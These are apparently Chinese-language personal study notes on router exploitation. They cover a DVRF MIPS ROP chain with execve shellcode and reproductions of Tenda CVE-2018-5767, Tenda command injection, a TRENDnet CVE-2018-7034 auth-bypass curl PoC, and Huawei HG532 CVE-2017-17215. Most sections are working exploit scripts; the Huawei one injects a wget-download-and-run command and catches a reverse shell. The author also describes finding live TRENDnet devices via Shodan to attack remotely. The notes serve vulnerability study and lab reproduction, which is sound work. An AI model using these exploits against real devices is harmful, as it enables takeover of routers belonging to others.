$ gdb-multiarch ./pwnable/ShellCode_Required/stack_bof_02
# gdb爱输入命令:
set arch mips
set endian big/little
target remote:9988
# 连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就可以慢慢单步调试
exp #
参考: DVRF 路由器漏洞靶机题目笔记 | SkYe231 Blog (mrskye.cn)
先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。
mipsrop.find(“li $a0,1”) 控制第一个参数
.text:0002FB10 li $a0, 1
.text:0002FB14 move $t9, $s1
.text:0002FB18 jalr $t9 ; sub_2F818
接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find(“li $s1”) 结果有很多,最后选了 gadget2 = 0x00007730 :
.text:00007730 lw $ra, 0x18+var_s10($sp)
.text:00007734 lw $s3, 0x18+var_sC($sp)
.text:00007738 lw $s2, 0x18+var_s8($sp)
.text:0000773C lw $s1, 0x18+var_s4($sp)
.text:00007740 lw $s0, 0x18+var_s0($sp)
.text:00007744 jr $ra
至此 a0 被控制为 1 ,目前 payload 结构为:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。
mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C :
.text:00020F1C move $t9, $s2
.text:00020F20 lw $ra, 0x18+var_sC($sp)
.text:00020F24 lw $s2, 0x18+var_s8($sp)
.text:00020F28 lw $s1, 0x18+var_s4($sp)
.text:00020F2C lw $s0, 0x18+var_s0($sp)
.text:00020F30 jr $t9
解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra
mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 :
.text:00016DD0 addiu $a0, $sp, 0x38+var_20
.text:00016DD4 move $t9, $s0
.text:00016DD8 jalr $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find(“move $t9,$a0)”) 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……
.text:000214A0 move $t9, $a0
.text:000214A4 sw $v0, 0x30+var_18($sp)
.text:000214A8 jalr $t9
最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
最后的exp:
from pwn import *
context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"
# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
0x76714b10: li a0,1
0x76714b14: move t9,s1
0x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''
0x766ec730: lw ra,40(sp)
0x766ec734: lw s3,36(sp)
0x766ec738: lw s2,32(sp)
0x766ec73c: lw s1,28(sp)
0x766ec740: lw s0,24(sp)
0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''
0x76705f1c: move t9,s2
0x76705f20: lw ra,36(sp)
0x76705f24: lw s2,32(sp)
0x76705f28: lw s1,28(sp)
0x76705f2c: lw s0,24(sp)
0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''
0x766fbdd0: addiu a0,sp,24
0x766fbdd4 <optarg>: move t9,s0
0x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''
0x767064a0: move t9,a0
0x767064a4: sw v0,24(sp)
0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f " # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e " # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
with open("stack_bof_02_payload","w") as file:
file.write(payload)
Tenda #
CVE-2018-5767 #
漏洞基本信息 #
- 漏洞编号:CVE-2018-5767
- 漏洞类型: 栈溢出
- 漏洞利用效果:栈溢出,可以修改返回地址,进而远程执行代码
- 漏洞披露时间:2018.02.15
- 漏洞描述: 没有限制用户的输入,使用函数 sscanf 直接将输入拷贝到栈上,导致栈溢出,可以修改返回地址,进而远程执行代码
- 设备型号:Tenda AC15 V15.03.1.16_multi
- 设备架构:arm
- 复现进度:
- 静态分析
- 受影响的漏洞组件 :
- 文件名:httpd
- 定位漏洞组件的方法和工具:
- IDA
- gdb
漏洞分析 #
查看漏洞函数R7WebsSecurityHandler
的伪代码
第87行使用了函数 strstr 尝试在 (a1 + 184) 处找到 “password=” 字符串的位置
其中(a1 + 184) 是用户的http请求,password 是请求中 cookie 的一个字段
如果找到了 password,就会进入if分支,使用正则匹配 “password=” 之后的字符串,并将匹配出的结果存入变量 v33 中
可以看到v33的定义:
可以发现代码没有判断字段的最大长度,直接将内容拷贝到栈上
如果用户精心构造一个password,那么可能有机会利用栈溢出漏洞控制整个程序的流程,进而达到远程执行代码的目的
漏洞复现 #
先配置好qemu 的网络参数,首先安装必要的工具
$ apt-get install bridge-utils uml-utilities
接着要修改网络配置,编辑/etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
auto ens33
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_maxwait 0
新建一个shell 脚本 /etc/qemu-ifup
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 3
重启网络服务
$ sudo /etc/init.d/networking restart
$ sudo ifdown ens33
$ sudo ifup br0
如果其中哪一步报错,尝试重启一下虚拟机。
启动程序:
$ sudo chroot . ./qemu-arm-static -g 10000 ./bin/httpd
中间出现出错,参考了 CataLpa师傅的文章发现需要patch一下才能运行
patch完成功运行后抓一个数据包,这个包的内容应该如下:
GET /goform/execCommand HTTP/1.1
Host: 192.168.245.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
为了触发漏洞,我们要手动添加一个Cookie 字段
构造以下 payload:
GET /goform/execCommand HTTP/1.1
Host: 192.168.245.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: password="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaae.gifbbbbbbbbbbbbbbbbbbbbtesttest"
Cache-Control: max-age=0
重放数据包,成功执行了puts 函数并输出我们的内容
用python写的exp如下:
import struct
import requests
ip = "192.168.211.7"
command = "/bin/sh\x00"
url = "http://{:s}/goform/exeCommand".format(ip)
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaae.gifbbbbbbbbbbbbbbbbbbbbtesttest"',
'Cache-Control': 'max-age=0'
}
libc = 0x3fde6000
pop_r3_pc = struct.pack("< I",0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = struct.pack("< I", 0x00040cb8 + libc)# mov r0 sp; blx r3
system = struct.pack("< I", 0x0005A270+libc)
command = command.encode()# 'byte'
password = b"A" * 444 + b".gif"+pop_r3_pc+system+mov_r0_sp_blx_r3+command
headers['Cookie']=b"password="+password
try:
response = requests.get(url,headers=headers,timeout=1)
except:
pass
CVE-2020–10987 #
漏洞基本信息 #
- 漏洞编号:CVE-2020–10987
- 漏洞类型: 命令注入
- 漏洞利用效果:执行任意系统命令
- 漏洞披露时间:2022.03.26
- 漏洞描述: goform/setUsbUnload端点允许远程攻击者通过deviceName POST参数执行任意系统命令
- 设备型号:Tenda AC15 AC1900 version 15.03.05.19
- 设备架构:arm
- 复现进度:
- 静态分析
- 受影响的漏洞组件 :
- 文件名:httpd
- 定位漏洞组件的方法和工具:
- SaTC
- IDA
SaTC定位漏洞 #
$ wget https://down.tenda.com.cn/uploadfile/AC18/ac18_kf_V15.03.05.19(6318_)_cn.zip
$ binwalk -Me ac18_kf_V15.03.05.19(6318_)_cn.zip
$ sudo docker run -it -v ./squashfs-root/:/home/satc/SaTC/SaTC_data smile0304/satc
# 进入SaTC容器中
# 检查/home/satc/SaTC/SaTC_data文件夹中是否有数据
$ ls /home/satc/SaTC/SaTC_data
$ cd ~/SaTC
# 测试/bin/httpd是否存在命令注入漏洞
$ python satc.py -d /home/satc/SaTC/SaTC_data -o /home/satc/res --ghidra_script=ref2sink_cmdi -b httpd --taint_check
# 测试/bin/httpd是否存在缓冲区溢出漏洞
$ python satc.py -d /home/satc/SaTC/SaTC_data -o /home/satc/res --ghidra_script=ref2sink_bof -b httpd --taint_check
过程中可能会飘红,或者警告,可以直接忽略
只要在/home/satc/res
下找到txt文件
binary: /home/satc/SaTC/SaTC_data/bin/httpd
configfile: /home/satc/res/ghidra_extract_result/httpd/httpd_ref2sink_cmdi.result-alter2
0xef168 0xa1808 not found
```
0xf2208 0xa6890 found : 0xa68f8
```
0xefb24 0xa2994 not found
total cases: 110
find cases: 1
binary: /home/satc/SaTC/SaTC_data/bin/httpd
configfile: /home/satc/res/ghidra_extract_result/httpd/httpd_ref2sink_cmdi.result-alter2
IDA下查看0xa68f8
地址发现是formsetUsbUnload
函数,查看其伪代码分析漏洞
漏洞分析 #
可以看到deviceName参数被借传到了doSystemCmd
函数中,这将导致一个任意的命令执行
CVE-2023-30135 #
漏洞基本信息 #
- 漏洞编号:CVE-2023-30135
- 漏洞类型: 命令注入
- 漏洞利用效果:执行任意系统命令
- 漏洞披露时间:2023.05.04
- 漏洞描述: Tenda AC18 v15.03.05.19(6318_)cn 已通过 setUsbUnload 函数中的 deviceName 参数发现包含命令注入漏洞
- 设备型号:Tenda AC18 v15.03.05.19(6318_)cn
- 设备架构:arm
- 复现进度:
- 静态分析
- 受影响的漏洞组件 :
- 文件名:httpd
- 定位漏洞组件的方法和工具:
- SaTC
- IDA
漏洞分析 #
与CVE-2020–10987相同:
将deviceName参数借传到了doSystemCmd
函数中的,将导致一个任意的命令执行
TRENDnet #
CVE-2018-7034 #
漏洞基本信息 #
- 漏洞编号:CVE-2018-7034
- 漏洞类型: 权限绕过漏洞
- 漏洞利用效果:获取到登录的用户名和密码,成功登录后台
- 漏洞披露时间:2018.02.14
- 漏洞描述: 允许通过AUTHORIZED_GROUP=1值绕过身份验证
- 设备型号:TRENDnet TEW-751DR v1.03B03, TEW-752DRU v1.03B01, TEW733GR v1.03B01,此外
D-Link
的一些老设备,如DIR645
,DIR815
等也都受该漏洞影响 - 设备架构:mips
- 复现进度:
- 漏洞复现
- 受影响的漏洞组件 :
- 文件名:
- 功能:
- 技术栈:(脚本语言)
- 定位漏洞组件的方法和工具:
- 直接审计php代码
- IDA
漏洞分析 #
详细分析可以看 ZIKH26师傅的文章,写得非常清楚
查看htdocs/web/getcfg.php
:
HTTP/1.1 200 OK
Content-Type: text/xml
<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if($AUTHORIZED_GROUP < 0)
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
else
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
}
?></postxml>
该漏洞的利用是通过发送 POST
报文在正常字段 SERVICES=DEVICE.ACCOUNT
后紧跟了一个 AUTHORIZED_GROUP=1
(二者用 %0a
连接),导致 cgibin
文件解析时先识别到了第一个 =
,认为 SERVICES
是键,DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
是值。随后又对字符串进行解码,%0a
处理为 \n
,此时内存中字符串为 _POST_SERVICES=DEVICE.ACCOUNT\nAUTHORIZED_GROUP=1
,后续在 cgibin
中认证失败,在此基础上添加了 AUTHORIZED_GROUP=-1
之后把整个数据发送给 php
文件进行处理, getcfg.php
文件中if($AUTHORIZED_GROUP < 0)
获取字段值时,首先解析到的是 AUTHORIZED_GROUP=1
从而通过了验证。又因为可以加载 htdocs/webinc/getcfg
目录下的任意文件,最终造成敏感文件的信息泄露
将POST发送的内容设为SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
即可完成
漏洞复现 #
这里在我们qemu
模拟的环境中是无法连接上的,由于之后还要发送数据,这里也不好直接patch
掉,因此,在本地是不好复现的,不过,我们可以打远程。
使用 shodan
(
https://www.shodan.io/search?query=tew-751dr ) 查找到还在用此路由器设备的站点
可以复现漏洞,但是这样的行为不太好()
POC
如下:
curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://某ip/getcfg.php"
HUAWEI #
CVE-2017-17215 #
漏洞基本信息 #
- 漏洞编号:CVE-2017-17215
- 漏洞类型: 远程命令执行(RCE)
- 漏洞利用效果:注入任意命令并执行
- 漏洞披露时间:20171204
- 漏洞描述:
- 华为HG532存在远程代码执行漏洞。经身份验证的攻击者可以向端口 37215 发送恶意数据包以发起攻击。成功利用这个漏洞可以导致远程执行任意代码
- 设备型号:HG532
- 设备架构:mips
- 复现进度:
- 已成功在本地复现漏洞
- 已进行静态分析
- 受影响的漏洞组件 :
- 文件名:upnp
- 定位漏洞组件的方法和工具:
- 静态分析工具
- ida(32位)
- ghidra
- 动态分析工具
- gdb-multiarch
- 静态分析工具
解包 #
### 安装sasquatch
$ sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev
$ git clone https://github.com/devttys0/sasquatch.git
$ cd sasquatch && ./build.sh
$ binwalk -Me HG532eV100R001C02B015_upgrade_main.bin
$ cd _HG532eV100R001C02B015_upgrade_main.bin.extracted/squashfs-root/bin/
$ checksec upnp
漏洞分析 #
搜索NewStatusURL
字符串,在0x00407B20
的地址上创建函数
然后看sub_407B20的伪代码
观察到snprintf
函数会将我们发送的标签的内容写入字符串,并在之后会用system
执行该字符串,这就很明显会存在一个任意命令执行的漏洞,我们可以将;<cmd>;
写入标签,由于;
可连接两个独立语句并执行,因此,就能执行我们的cmd
命令了。
这里的反编译其实有些问题,应该是:snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);
,这里少了个参数。
至此,我们发现,可以在NewStatusURL
或NewDownloadURL
标签中注入任意命令以执行。
漏洞复现 #
$ ./fat.py /path/to/firmware
- 可以仿真,但是upnp服务不可用,所以无法复现漏洞
后来搜索到了网上复现记录
IoT-vulhub/HUAWEI/CVE-2017-17215 at master · Vu1nT0tal/IoT-vulhub (github.com)
按照上面的步骤来复现:
$ sudo docker build -t firmianay/qemu-system:mips .
其中run.sh的内容为:
#!/bin/bash
# 启动 ssh 服务
/etc/init.d/ssh start
# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24
# 启动 http 服务
nohup python3 -m http.server 8000 1>&/dev/null &
# 进入 qemu 镜像目录
cd /root/images
/usr/bin/expect<<EOF
set timeout 10000
spawn qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
expect "debian-mips login:"
send "root\r"
expect "Password:"
send "root\r"
expect "root@debian-mips:~# "
send "ifconfig eth0 192.168.2.2/24\r"
#expect "root@debian-mips:~# "
#send "echo 0 > /proc/sys/kernel/randomize_va_space\r"
expect "root@debian-mips:~# "
send "scp root@192.168.2.1:/root/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "root\r" }
}
expect "root@debian-mips:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-mips:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"
expect "root@debian-mips:~# "
send "scp -r root@192.168.2.1:/root/tools /root/squashfs-root/tools\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "root\r" }
}
expect "root@debian-mips:~# "
send "echo 'sleep 30' > net.sh\r"
expect "root@debian-mips:~# "
send "echo 'ifconfig eth0 192.168.2.2/24' >> net.sh\r"
expect "root@debian-mips:~# "
send "echo 'ifconfig br0 192.168.2.3/24' >> net.sh\r"
expect "root@debian-mips:~# "
send "chmod +x net.sh && /bin/sh net.sh &\r"
expect "root@debian-mips:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "./bin/upnp\r"
expect "# "
send "./bin/mic\r"
expect eof
EOF
成功仿真!
最后,我们就可以打exp
并成功复现完CVE-2017-17215
这个漏洞了!
exp:
#!/usr/bin/python3
import requests
from requests.auth import HTTPDigestAuth
from pwn import *
from threading import Thread
cmd = 'wget -g 192.168.2.1 -P 8000 -r /tools/msf -l /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf'
assert(len(cmd) < 255)
data = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
def attack():
try:
requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=data)
except Exception as e:
print(e)
thread = Thread(target=attack)
thread.start()
io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()
thread.join()
复现成功!